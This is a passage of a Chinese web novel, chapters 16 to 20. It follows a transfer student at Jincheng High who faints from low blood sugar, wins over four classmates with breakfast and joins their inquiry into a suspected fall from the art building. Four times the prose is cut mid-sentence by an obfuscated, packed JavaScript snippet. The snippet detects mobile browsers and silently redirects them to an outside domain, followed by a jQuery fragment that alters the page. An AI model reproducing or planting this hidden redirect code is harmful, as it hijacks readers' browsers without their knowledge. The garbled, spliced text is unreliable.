黎兴学没那个闲心,唐恬也不会多掺和她的事。而能够妥帖地考虑到需要给她这个初来乍到的、像女儿又像外人的借住者准备一个卫生间的人,大约也只会是一个同样的外人。
纪之水乘着夜色抵达公交站台,静静等待着第一班公交车的到来。
忙碌的工作挤占掉黎兴学太多时间,而他本人是否乐在其中也很难说,但可以肯定的是,黎兴学以为他应当为孩子缺失的陪伴寻找到另一种可替代的补偿。不提黎明达相较于同龄人格外宽裕的经济状况,他上学是有司机接送的。
纪之水的手机里也存着司机的电话号码,却从来没有一次派上用场。
黎明达上下学的时间和纪之水并不冲突。黎兴学提出可以让司机顺道接送她——金城国际在市中心,而金城高中地处偏僻郊区,两条路线称得上是背道而驰,纪之水拒绝了,却不是因为不顺路。
诚然,有了司
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862750|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
机接送会方便很多,至少她不用寒冬腊月地坐在公交车站台等车,也不用一放学就匆匆忙忙地赶最后几班车回家。
但比起屡屡找借口拖延接送,纪之水宁愿早起晚归,这样对她而言更自由。
公交车几乎是准点抵达。
从小区门口的站台到学校的那段路,车开得摇摇晃晃,酝酿了一点瞌睡。时间太早,几个站点停靠过后,车上多了几个穿着熟悉校服的学生。
纪之水坐在最后一排,抬头就能看见属于金城高中校服的深蓝。她开始数数,一个、两个、三个。
人数刚好,一个不少。
上到高中,全勤是常态。金城高中请假难,走读更难,纪之水的走读证办下来足足经过三个老师的签章,还提交了一堆材料。
车上的几个走读生神情看着萎靡,座位分布得很开,一路没有交流。有些人即使日日坐同一班车上学,也可能到毕业都没搭上过话。
公交车开到学校不远处的站点,学生们一下车,车厢差不多就空了。
纪之水想起这辆公交车在学生口中常被调侃为“金城高中校车”,倒也不算夸张。
每月放假时,车上满满当当挤着大包小包回家的高中生。不年不节的日子,倒显得空旷,赶首班车的除了他们几个,就只有脚边靠着农具水桶的大爷大妈。
晃晃悠悠的车程里,纪之水差点靠着车窗玻璃睡着。
明明晚上十点就睡了,纪之水在心里抱怨,金城有着和她以往待过的城市截然不同的空气,其中蕴含着让人昏昏欲睡的魔力。
抵达目的地,她轻轻拍了拍脸,驱散了来势汹汹的困倦。最后一个跳下车时,感觉眼前发晕。
路过靠近车门的乘客,两人闲谈的絮语自然而然地闯入耳中:
“都是学生啊……金城高中?”
“了不得,这个学校的都是优等生呢。”
“学习成绩好有什么用,现在的年轻人,心理越来越脆弱,看着也没什么精气神……”
…………
车门关闭,公交车沿着既定的行驶路线远去,那些闲聊声也跟着消散。
纪之水落后几步,和人群隔了一段距离,遥遥地望着那些同车过几天的熟面孔。
从站点到学校门口需要过条马路,再拐个弯,沿途可以看见对面居民小区漆黑的入口处时不时吐出几个神情困顿的学生。
小区出口处的路灯坏了,灯泡黯淡,光线半明半昧。两道挡车杆压下,仅供行人通行的一条通道狭窄逼仄。
金城高中有教职工宿舍,但据传言,不少老师会在学校前的小区租房住,比和同事挤宿舍来的方便自在。
校门口的早餐店已经开门。
纪之水从早餐店前路过,脚步微顿,迎面吹来一阵凛冽寒风,夹杂着早餐店新鲜出炉的食物香气。
冷和热,极度鲜明的对比,纪之水感觉自己的胃部在抽搐。这不是什么好的预兆,她加快脚步,走进早餐店,暖色的灯光倾泻下来。
狭小的店面里摆着几张小桌,都空置着。上学时间将近,少有人选择店内就餐。
迎面有学生拎着早餐朝门口走,和纪之水错身时撞向她的肩膀。
纪之水心道不好,霎时间像是被触碰到了什么开关,眼前一阵天旋地转,耳鸣里混着尖叫。
“同学?同学!”
“同学你没事吧?!!!”
有事。
晕头转向投入大地怀抱的刹那,纪之水想,原来是低血糖啊,她还以为自己这一路上是没睡醒呢。
17. 第 17 章
小小的柑橘味糖果质地坚硬,挤入口腔的触感像一小块碎玻璃,磕碰着上颚和齿关。
纪之水以为情况不会更坏了。
眼神重新聚焦的时候,她还是宁愿自己再晕一会儿。
几道灼灼如火的目光盯得纪之水不由自主地开始头痛,神经几乎拧成一根紧绷的弦。她很不擅长处理这种场面,非要硬着头皮处理……那也只能硬着头皮。
那个碰巧撞上她的学生自然没敢走,生怕罪名升级成肇事逃逸。
他肩膀上挎着书包,一手拎着好几个塑料袋的早饭,坐在小桌对面战战兢兢地等她醒。人虽然坐着,浑身上下全副武装,比站着还要累。
没必要。
这完全没必要,纪之水忍不住想,以对方比黎明达还要瘦弱的身躯怎么不可能一下将她撞晕过去?再撞十回也绝不可能,除非这位活像甘蔗的同学竖着倒下来不幸地砸中她的头。
此刻,他脸上几乎明晃晃写了一行字:我愿意一力承担所有罪责!
早餐店里的椅子是简陋的木质方凳,没有靠背。
纪之水感觉到自己靠在了一个人怀里。
这样的距离对她来说已然远远突破社交防线。她想要找回自己的重心,刚动了下身体,所有目光都集中过来,一瞬间让人头皮发麻。
男生想说话,却有一个人快他一步:“你现在好点儿了吗?”
幻听了。怎么是顾天倾的声音。
纪之水缓缓偏头。
怕什么来什么,说曹操曹操到……?一系列话在脑海中滚了一圈,纪之水定眼一看:真是顾天倾。
低血糖带来的阴影仍在,她在一片重影的视线里,目光定格在顾天倾故作关怀的脸上,想不通他怎么又一次、再一次、比起巧合更像是孽缘一样出现在她的眼前。
诚然。纪之水在昨夜忽然想通,顾天倾作为金城高中高三A班班长、理科班名副其实的王(仅指成绩)、学校老师的心头宝……他担得上这一溜烟夸张到甚至有点恶心的称号,对她来说有一定利用价值,她却只想在用得上顾天倾的时候见到他。
而不是像现在这样。
简而言之,纪之水双标。
“囡囡,你现在好点了没有?先喝点热的暖暖胃吧。”那个抱着她女人也跟着开口,“自己的身体还是要当心的呀……”
早餐店老板的声音温柔,完全没看出纪之水脸色不对——不过也很少有人能看出来就是了。
香精味极重的硬糖还没完全在嘴里化开。纪之水一张嘴,那粒糖就撞上了她的牙齿。
这顺理成章地暂时阻止了她的回话,纪之水望向老板,脸色依然苍白。
眼前的女人看起来四十来岁,两鬓略白,头发梳理得很整齐。
她的眉间有几道即使面无表情也深凹下去的刻痕,给人一种忧思过多的第一印象。不过最引人注目的,还要数她那双疲倦的眼睛。
纪之水忍不住多看了两眼。
整个店面看上去半新不旧,门口招牌有岁月流逝的痕迹,店里的桌椅、柜台被打理得干净。纪之水看到了摆在收银台边的照片,用木质相框框起,角度朝里,从她的位置只能隐隐绰绰看到老板微笑的半张脸。
一口热汤下去,冲淡了嘴里橘子糖的甜腻感。纪之水还有点发晕,一时间食不知味,但喝了点东西垫着,胃里总算不空了,心理上已然感觉好些。
她从老板怀里退出来,扶着桌沿坐直。老板神情关切,还有个不小心撞上她的倒霉蛋一脸忧郁地等待发落……纪之水缓了缓,和老板道谢,又毫不客气地端起热气腾腾的汤喝了一口。
“我会付钱的。”
这是她的第一句话。
·
这句话出现得似乎不是很恰当,因为纪之水余光瞥到了顾天倾脸上的神情——他原本在笑,就算没有人在看他。当她的话脱口而出的那一瞬间,顾天倾突然不笑了。
笑容之于顾天倾,就好像是夏天的狗吐出来的那截舌头。
当时的场面看起来很正常。没有谁突然跳起来,大喊一声你不该这么说话。
唯一不对劲的地方只有顾天倾收回的微笑,但这足够纪之水有所察觉。
她按照自己的节奏快刀斩乱麻,和老板道谢、购进五份早餐,在向那位身材酷似甘蔗的同学解释自己不是因为他毫无威力的一撞才晕倒时,收获了一阵怀疑注视和加倍的道歉。
她不想把时间浪费在反复推拉上,吸了口气说接受对方的道歉。
甘蔗感激涕零地离开。
与此同时,她的五个鸡蛋饼也已经打包好。
纪之水无法容忍疑惑被轻飘飘带过,走出店门便迫不及待的发问:“你刚才的表情是什么意思?”
顾天倾没有卖关子,“你刚才那么说,老板会伤心的。”
“伤心?为什么?我说谢谢了。”纪之水可以忍受老师解答数学题时跳过n个重要步骤,但顾天倾此刻却跳过了太多,“我也付了早饭钱。”
为了报答,她的小包里多了五个热气腾腾的饼和两瓶热过的牛奶。虽然这样的报答无足轻重,开在学校边上的早餐店不会愁卖,纪之水自认为自己至少拿出了感激的态度。
这还不够吗?
“老板扶你、给你糖吃是因为她心地善良。”顾天倾思索着措辞,“你做的也不算错,只是一开口就提钱,或许有些……”
“我懂了。”纪之水了悟得很快。
黎兴学第一次和她见面,比任何关切的话语先抵达的是厚厚一叠钱。
纪之水的目光从鲜红的钞票上扫过,心里毫无波动。
谁稀罕他的钱啊?
她皱了皱眉毛,好像已经懂了:老板同样也不稀罕她那点臭钱。无意之中,她似乎做了和黎兴学一样的事情,纪之水甚至觉得有点受挫:血缘关系这种东西有时候就像诅咒。
她来金城,付出的代价还是太大了。否则她一辈子都不会见到黎兴学……
纪之水甩甩脑袋,把杂念扔开。
顾天倾正等待。
说不好是等什么。或许是一个少女的内心剖白,或许是进一步的追问……经过一个晚上的推心置腹,他们俩应当已经双双站在了名为“友谊”的大门入口了吧?
残酷冰冷的现实却是顾天倾想得太多。再一眨眼,纪之水已然恢复了往常不进油盐的模样。
但愿她真的理解了。
顾天倾刚这样想,忽而打了个激灵:这又不是他该关心的事!
他这个班长当得太尽责,当出工伤了。
两人在楼梯口分手。
顾天倾朝四楼走,纪之水拐进了三楼走廊,目标明确地直行,顾天倾望着纪之水的背影,她在他面前甚至已经懒得遮掩……他感觉太阳穴突突直跳,一口气险些又要叹出来。
纪之水听到有人叹气。
打开后门,七班的人基本到了个大概,班级里不算太吵闹,高
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862751|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中生提前抵达班级的一大原因是他们急着抓住有限的时间赶前个晚自习没写完的作业。
眼下,最重要的是四人组已然到齐。
叹气的是罗吉,他总是被一阵悲观的阴云笼罩着。有时候他叹气甚至不是因为真的遭遇了不顺,有可能只是像顾天倾的半永久微笑唇一样,叹气只是他的习惯性动作。
想见的人都在,纪之水满意点头,熟练地在阵阵闲聊声中找到了自己的定位——各种意义上的。
她打开随身包裹,将早餐一一分发,他们正处在交谈的关键时期,纪之水贴心地选择不打断他们的交流节奏,而是亲自递到每个人手里。
周英事件之后她用了一节课的时间,熟读了从穆若婷那儿借来的学生手册,气味小的食物可以在教室内进食。
刘瑞平说:“昨天时间太紧,我和罗吉怕有什么变故,拍了照就出来,没带走请假条存根。”
“回宿舍之后我进行了一遍初筛,从周日当天到周一的请假条我和刘瑞平拍的时候应该没有遗漏。所有照片都发在群里,你们应该都看过了吧?”罗吉说着,低头咬了一口饼。
新鲜出炉的鸡蛋饼还是熟悉的味道,比起早就吃腻了的食堂早饭,属于住校生心里不可多得的美味,“如果真的有人不小心坠楼,而且还活着,那出门肯定会有请假条。就算是后来补的,时间也顶多放宽到周一……”
群?
好东西,越是私人的东西准入条件越苛刻。纪之水闷头啃着饼,喝了一口热气腾腾的牛奶。
可惜这儿是教室,四个人都不敢光明正大地掏出手机,交流信息的方式朴素得只能靠口口相传。
不然纪之水还真想见一见他们群聊里的照片。
刘瑞平揣着热气腾腾的饼,得意地大咬一口:“我就说谁能想到!这么新颖的角度!在这所变态的高中,只要你还有一口气儿在,门卫不见到请假条就绝不放人,班主任亲自到场也没用!”
虽然得意,字字句句都是心酸的血泪控诉。
“我说你们昨天急急忙忙跑出去干嘛,原来是去偷请假条了。还是你们鬼点子多。”吴羽点了下头,停止了咀嚼,“哎不对……”
陈芊握着奶瓶:“哪来的奶啊……”
有人惊觉:“……还有饼。”
说着,低头望着手里吃了一半的鸡蛋饼,整个大脑开始飞速运转。
纪之水说:“嗨。”
四人悚然一惊。
他们转头的动作和幅度几乎是上个早晨的复刻,只是这回,众人的接受能力已然提高许多。纪之水搬着凳子,像个小团体的编外人员,不请自来地坐在桌子旁边安安静静啃饼……还有牛奶喝。
刘瑞平大为不满:“凭什么只给陈芊牛奶啊!我昨天不也为你仗义——”执言了吗。
抱歉,好像没有言。刘瑞平想起来了,仗义的A班同学根本没给他出手的机会,纪之水刚被揪到门口,一堆人已经像个拥有一百零八只手的肉球一样集结着冲了上去。
刘瑞平悻悻道:“不患寡而患不均。纪同学,你是妄图用校门口的美味早餐分裂我们四个的友谊吗?”
“谢谢你昨天借我的围巾。”纪之水转头看向陈芊,冷淡地……
早餐店的事给了纪之水一点启发。良好的态度和得体的语言才能更好地传达善意,纪之水在心里默念着,努力调动不常用的那块面部肌肉挤出一个笑脸,亲切地说:“我昨晚洗干净了,还给你。”
18. 第 18 章
“啊……不用谢……”
陈芊一手捧着洗干净叠好的围巾,一手抓着鸡蛋饼,面前还有一瓶温度刚好的热牛奶,手忙脚乱中流露出一点无措的赧然。
“谢谢你的早餐。”陈芊举着鸡蛋饼,哽了一下。还是没回想起来东西是怎么到手里的。反应过来时,小半张鸡蛋饼都从食管滑到胃了。
吴羽低头啃饼。
幸福进食的间隙里她抬眼打量着纪之水:她阴恻恻的笑容别有一番不怀好意之感,眼瞳的颜色过于黑,像是带了款式夸张的美瞳。或许是观察的视线太过直白,纪之水看向了她,似乎是在反问。
在她纯黑的瞳孔里看见自己的倒影,不亚于一场精神上的考验。
吴羽朝纪之水微笑,露出洁白的牙齿:“谢谢你,早餐很美味。眼睛是带了美瞳么?”
纪之水答:“没有哦。”
她不近视,没有这方面需求。
“眼睛的颜色是遗传妈妈。”
吴羽的脑海里当即站出了一个大号纪之水,有着如出一辙的深色眼睛。
母女俩人一个在现实中盯着她,一个在幻想中瞧着她看。吴羽莫名瘆得慌,赶紧将这没头没尾的幻想从脑海中甩出去,对着纪之水干笑一下。
罗吉和刘瑞平也道了谢。
鸡蛋饼都吃了,也没法还给她。俗话说得好,吃人嘴软拿人手短。
这家早餐店在金城高中门口开了十几年了,味道特别好……谁能拒绝……
这可是得向班里如同大熊猫一般珍稀的走读生再三恳求才能偶尔品尝的人间美味!
总之,四个人被鸡蛋饼收服了百分之五十,态度再也不复昨日的戒备怀疑。
五人就这么围坐在一起嚼嚼嚼。
和高中生熟起来,似乎比纪之水想象中还要容易许多。
“宿管阿姨查完寝之后我去隔壁宿舍问过,8班这段时间间或有几个人请假,但没有人长期缺席。”吴羽道。
上下楼动静太大,有概率会碰上二次巡查的宿管阿姨,吴羽问过一个宿舍后就没有接着跑动。
虽然只问了8班,好歹顺利排除一个错误选项。
令所有人没想到的是陈芊也开了口。
“我……我那一层有六班的宿舍,”陈芊很是做了一番心理准备,才鼓起勇气去敲了门。
她本身就不擅长社交,好在那个宿舍的同学都很友善,也没刨根问底,就把情况全告诉了她。
“6班有两个学生前段时间请了假,至今还没返校。”
刘瑞平乐了:“哇塞,你们这行动力!”
而且居然还真打探出来了消息。
“6班有两个人?”罗吉记忆力很不错,他皱了下眉毛,“我只拍到了寇准的请假条。”
寇准不在学校的事,很多人知道。
原因无他,寇准这个人在整个金城高中都太出名了,虽然并不是什么好名声。他的行动轨迹几乎算是半公开,偶尔缺席一天都会掀起零碎的讨论。
陈芊点了点头,“是寇准。还有一个人……我特地记下了他的名字。他叫曹志存。我没听说过这个名字。”
“是个男生?”罗吉问。
“曹志存?”刘瑞平道,“这个人我好像认识,印象里有脸。”
他回忆了片刻,还真有几分印象:“他也是跟着寇准那堆人混的,算是他的跑腿小弟之一吧,没什么出挑的地方。说他人好绝对算不上,犯浑的程度又没有他老大那么深,做混混也做得乏善可陈。”
“那很离奇了。寇准要是没请假条就离校还说得过去,曹志存这么平平无奇一家伙……”
曹志存离校却没请假条是个很明显的疑点,但未必和坠楼事件有直接关联。按照刘瑞平的说法,当天掉下去的应该是个女生。
“我也觉得有点奇怪。”陈芊道。
这就是他们过去一晚上收集到的所有信息。目前看来所谓的坠楼事件还是让所有人一头雾水,能抓住的线索不过是美术教室里断裂的挂件、疑似鲁米诺试剂显像出的少量血迹,以及刘瑞平和罗吉发在小群里的那堆还没经过一一探查的请假条罢了。
一直如同透明人一般安静倾听的纪之水发问:“寇准是谁?”
她已经听到过这个名字很多次了。
“这要怎么解释……”陈芊思索了一下,说,“你就当他是个难缠的混混吧。”
她给出了很不客气的评价。
刘瑞平嫌这个说法太过笼统概括,想必不能让眼前的怪胎转校生满意。
他主动接过了话头:“不是一般的难缠。要是你哪天在路上遇见了寇准,一定要记得躲远一点儿。他家里很有钱,平常又不怎么学习,还经常逃课、打架、纠集了一批像他一样没什么心思学习的小团体,名声很不好。我还听说寇准的成绩根本没到金城高中的录取线,是他爸爸花了大价钱塞进来的——”
纪之水听得津津有味:“怎么突然不说了?”
刘瑞平心虚了一阵。
“噢,他是在想你的分数是不是也是买进来的。”吴羽贴心地解释。
刘瑞平对嘴上没把门的叛徒怒目而视。
他尴尬地挠了挠脸,苍白地找补,“纪同学,你别生气,我不是那个意思。你和寇准这种混混当然不一样!”
“好的。”纪之水不以为忤,接着问,“还有吗?”
“没有!”在正主面前被人当面戳穿他暗地里说人坏话,刘瑞平脸上热气上涌。
他庆幸于自己不是顾天倾那种皮肤白皙的小白脸,小麦色的肌肤多少能够掩盖羞耻上头的热血。纪之水并没有他想象中那么生气,甚至可以说是完全不生气。
刘瑞平试探着问:“……你是说寇准吗?”
“那还有一点吧。寇准之前和一个男生闹了矛盾,把对方的腿打断了,赔了很多钱。”
说起这件事,刘瑞平实在有点愤愤不平。
他无法理解,明明都只是高中生的年纪,怎么有人能下手狠成这样。
“赔钱有什么用?人家腿断了,治好之后走路还有点跛,这可是一辈子的事情!”
“那个男生可能也因为这件事对学校有阴影吧,之后就没回来上学。他父母来了一趟学校,替他把东西收走了。我们再也没见过他,听说,他转学去别的城市了。”
同为学生,真的很难不叫人感同身受。
刘瑞平从小升初的时候就意识到自己是个智力平平的普通人,学习懈怠就会排名倒退,挑灯夜战偶尔能换来成绩的小小跃进,但总体来说,他绝不是一块学习的材料。
即便如此,初三那年他还是像所有同龄人一样,卯足了劲儿学,只为考上一个好的高中。每天两眼一睁就是做题、考试、做题。
考上金城高中,至今是他人生中值得夸耀的一处高光。
他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862752|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亲身经历适用于很多人。包括那个被打断了腿,离开了金城高中的学生。
纵观整个省内,再也没有比金城高中更好的学校了。那个学生在因为一些口角和寇准打起来的时候,决计不会料到结果是这样。
难怪顾天倾让她离寇准远点,估计是怕她被打断腿,他还得作为班长扶着瘸腿的她上下学。
纪之水若有所思。
“这是寇准第一次这么长时间没来上学吧?”罗吉忽然生出一种预感,“这件事会不会和寇准有关系?”
“无凭无据的……”吴羽张了张口,“但也说不准。说不定就是这个坏胚害人。”
寇准坏得鲜明。提起好人和高贵的品行,每个人心里都会浮现出不同的人选。说到坏事,诸如这桩扑朔迷离的跳楼,寇准的身影从迷雾里一个箭步跃出,嚣张地睥睨着众人。
有的人坏,却披着老实人的外衣。这种表面上文雅可亲的老实人坏起来会给人一种悚然之感,但像寇准这样恶感鲜明的人,站在那儿你就知道绝对不能靠近。
这是生物的本能。
话题又跑偏了。
纪之水敲了敲桌面。
“你们现在的重点在哪里?要抓嫌疑犯还是找受害者?”
“应该是……先找受害者吧。”刘瑞平没什么底气地说,“我们只是想知道是不是真的有人受了伤。跳楼,”
刘瑞平嗫嚅,还没能从心底接受这个平淡中透着恐怖的词语,小声含混过去:“毕竟不是什么小事。找到凶手,那是警察的事。”
鸡蛋饼已经吃光了,刘瑞平手里攥着揉成一团的白色塑料袋,抬眼瞥了纪之水一眼。
他格外犹疑地,开始纠结措辞:“昨天我们说的话,你也听到了吧?”
纪之水点头,算作回应。
“我只有一个问题啊纪同学。你为什么对这件事情这么关心?”
“……”
顶着四道如炬的目光,纪之水淡然开口:“很有意思啊,不是么?”
沉默的对望,乱飞的眼神。在非常缓慢的时间流逝之中,教室里的声音堪称突兀地沸腾。
几人闻声而动,匆匆忙忙抽书遮掩,作读书状。
纪之水明白又是暂时道别的时候了,她起身,微笑:“我之后再来,再见。”
这回没人有意见了。纪之水已经知道了太多太多,他们一开始没有赶她走,之后再想将她排除在外就不是什么简单的事情了。
几乎是前后脚,班主任推开前门的时候,后门咔哒一声合上,奇怪的转校生就这么离开了。
刘瑞平将书竖在桌面上假装早读,问罗吉:“她刚刚是不是冷笑了一下?”
“没有啊。她一直都没什么表情。”罗吉肯定地说,“说不定她从出生开始就没笑过呢。”
“哦?是吗?”刘瑞平还在怀疑。
罗吉反客为主,也提出了问题:“那你觉得,‘有意思’这三个字,要怎么理解?”
“没法理解。可能就是字面意思。”刘瑞平想起那个古里古怪的转校生,忍不住道,“她可能就是个纯粹的怪胎。”
“难道我们就是正常人了?”罗吉说。
正常人不会去探究那个周末到底有没有人从艺术楼跳楼下去。
他们的正途是不辜负自己辛辛苦苦考上最好的高中,不辜负盼着他们出成绩上名校的父母老师。
罗吉冷笑。
19. 第 19 章
高三A班,教室里书声琅琅。
纪之水学着四人组的样子将语文课本打开,竖立在桌面,掩耳盗铃但聊胜于无地遮挡住了来自前方的视线。
如果不巧有人进门,多少有个缓冲时间,不会第一眼发现她躲在书后吃早饭。
牛奶的温度已经转为温凉,鸡蛋饼还剩下小半块。
察觉到穆若婷在看她,仿佛拼尽全力无法抵挡鸡蛋饼的魅力,纪之水犹豫了一会儿:“掰点给你?”
不是每个刚认识几个星期的女生都能泰然自若地接受分享食物的。梅陆露曾经说过,认识新朋友时,最好保留一点边界感。
穆若婷的目光实在太过火热,简直像在纪之水右边放了盏探照灯,让她无法忽略。
一个介于诧异和惊喜的表情缓缓从穆若婷脸上浮现。看来她猜的不错。纪之水没有等来拒绝,便隔着塑料袋将鸡蛋饼调了个头,从尾部掰下一半。
穆若婷双手接过,笑嘻嘻地说:“感谢同桌大人的恩赐!”
她从桌肚里摸出同款牛奶,单手拧开瓶盖,和纪之水干杯。
金城高中晨读五点四十五分开始。
学生走出宿舍的时候,食堂还在准备伙食,灯火通明,大门紧闭。食物的香气从后厨敞开的窗外往外飘,久久停留在从宿舍到教学楼的那条必经之路上。
一直要等到六点四十分晨读结束后的那个课间,在部分班主任的刻意放宽下足足有三十五分钟的余裕,学生才会被放去吃饭。在这中间要是有人觉得胃部空空,也只能自己带点干粮牛奶垫垫,或者拜托走读生带饭。
穆若婷提前在宿舍热了牛奶,搭配着吃正好。
两人一起躲在书后吃鸡蛋饼。
穆若婷以为纪之水已然习得了早读课摸鱼的真谛。对比她刚刚入学时的生疏,不可谓是进步不神速。
她照旧和纪之水唠嗑:“食堂二楼的面包店关门两天了,这装修速度简直不符合金城高中的运转速度。”
翻来覆去都是些鸡毛蒜皮的小事儿,纪之水也乐意听。穆若婷起初和这个阴沉少言的转校生成为同桌,还怕两个人处不来,熟悉了两天,倒觉得纪之水身上处处是优点。
她顶多只是话少了点儿、行踪诡异了一点儿、对学习的兴致低了一点儿——
但反过来想,纪之水话少,正好方便了她话多。
话唠和沉默的倾听者是最好的搭配!
行踪诡异,那属于纪之水的个人爱好。
班里还有人精心养殖芒果核,还给它取名字扎小辫儿呢,精神状态岌岌可危。才高三上学期,同学们的压力已经大到这种地步,穆若婷以为两相对比之下,纪之水喜欢散步再健康不过。
至于对学习兴致低……完全是人之常情啊!
而且穆若婷想学的时候,身边坐着个安静的同桌,注意力反而会加倍集中。
综上所述,纪之水完全是个颇有个性的完美同桌。
“你有没有吃过他们家的新品贝果?”提起美食,穆若婷眼睛发亮,“我一定要推荐给你!所有尝过蓝莓贝果的人都会被它征服!”
“有机会我会试试的。”纪之水说。
“我保证,只要你试过后绝对不会失望的!”穆若婷拍着胸脯保证,转而一想,嘴角不由多了几滴思念的泪水,“也不知道面包店什么时候开门。”
她看上去真的很苦恼。
“你很想知道吗?”纪之水目光闪烁,提议道,“不如,我们来算一算?”
纪之水将一盒塔罗牌推直桌面,停在两人课桌相接的交界线上。
穆若婷自然不是黎明达那等无知的初中生,见状忍不住哇了一声,“你会算塔罗?!好厉害!”
·
“咦……”翻过一页课本,一张纸飘飘荡荡从书页中滑落,陈芊赶忙伸手接住,“这是什么东西?”
定眼一看,是一张对折的纸片,一侧平整,一边是暴力撕扯后留下的毛边。是从学校发的英语本后撕下来的,手感摸起来很新。
怀着疑惑,陈芊将纸片展开,几个名字闯入视线:“林嘉慧、褚东、寇准……”
为什么这张纸上会写着这几个人名?
感谢纪之水,感谢鸡蛋饼,同样也要感谢为了真相直到早饭时间还在座位上稳如磐石的他们自己。教室里的人走空后,整个班级又只剩下他们四个围坐在一起,关着前后门,表情讳莫如深。
面对这张名单,刘瑞平发挥了胡言乱语的日常水平:“哟,哪来的辛德勒名单?”
陈芊没把话说太死,保留了一点余地:“应该是纪之水留下的。”
作为英语课代表,陈芊能够认出班里起码半数人的字体——熟能生巧,有几个人交作业总不爱写名。
纸上的字不属于班上的任何一人。猜测范围原本就是狭窄的,更何况纪之水前脚刚走,后脚她的放在最顶层的课本里就多了一张字迹陌生的纸。
吴羽盯着纸上的字出神。
忽然她想到了什么,摸出藏在书包夹层里的手机。
虽然没人,但在教室里看手机多少是对
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862753|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
勇气的考验。吴羽将屏幕亮度调到最低,这种情况下想要看清楚请假条上龙飞凤舞的手写字体急需一点猫头鹰视力,她选择cos鸵鸟,将手机和自己笼进外套里。
暂时没人注意到她的动作。
罗吉望着纸,摩挲着下巴:“她是故意的吗?”
比起纪之水丢三落四,他更愿意相信她的每一个动作都别有深意。
片刻后,那个趴在桌面上的蓝色鸵鸟笼里传来模糊的声音:“这上面的名字和群里的请假条有重合。”
鸟笼外的人面面相觑,很快都想到了一处去。
“纪之水也在调查坠楼案的事情?”
她从来没有掩饰过自己对坠楼案的兴趣,还自来熟地加入了他们的谈话之中。只是如今看来,她的动作也太快了!
刘瑞平顿觉自己的消息手机水平被一个初来乍到的转校生远远甩在身后,很是泄气:“我们可是废了大功夫去教导处翻的!她哪里来的信息渠道?”
他自我安慰道:“不过她拢共写了五个名字,数量上和我们比起来还是拍马不及的!”
这种事情又不是看数量定输赢!
陈芊伸手盖住脸,“这是值得骄傲的事儿吗?受害者只有一个,肯定是怀疑对象越少每个人分摊到的可能性越大。”
刘瑞平:“好像是哦。”
罗吉咋舌道:“她才来了几天啊?别说纸上写的这几个,换个人说不定连班里的人叫什么长什么样都未必能认清楚。”
刘瑞平深以为然。他忍不住旧事重提:“所以我之前说她是外星人嘛!”
吴羽忙中抽空:“不是说好了是巫蛊师吗?”
罗吉:“谁和你说好的?”
吴羽扯下头顶的外套,把手机塞进去,将衣服团成一团,随意捋了两把乱糟糟的短发。她抬起头说道:“她给的名单里有曹志存。”
话音刚落,刘瑞平脸上突然映出一片长方形的光晕。
他点开手机相册,又迅速过了一遍拍到的假条。
被身侧的光源晃了一下眼睛,罗吉下意识朝着刘瑞平看去。他从未见过刘瑞平的心理素质从来没有这么好过,罗吉朝四周张望了一下,忙不迭手动放下窗户旁边的遮光帘,“把手机亮度调低点啊!”
刘瑞平充耳不闻。或者说他太过投入,以至于完全忽略了耳边小声的提醒,一张一张划过相册里的照片,直到看完最后一张。
“曹志存和陆于栖。”刘瑞平觉得他们越来越接近真相了,“这两个人在教务处都没有请假条。”
20. 第 20 章
“仔细回想,你在之前的生活中,是否总会有一个人,带给你若有似无的帮助呢?”
“这个人是……”
借着那道冷淡嗓音的诱引,迟滞的思维缓缓转动。
柳天意回忆着身边的无数种可能性,所有的声音汇聚在一处,她的脑海中浮现出一个名字,不确定地说:“陆于栖吗?”
女孩们围坐在树下的空地,借着常青树的余荫遮阳,不由地屏住呼吸,静静地看着这一幕。操场边上不时打打闹闹地跑过几个学生,却没有吸引她们的半分视线。
所有人的注意力都集中在沐浴在阳光中的黑发女孩身上。
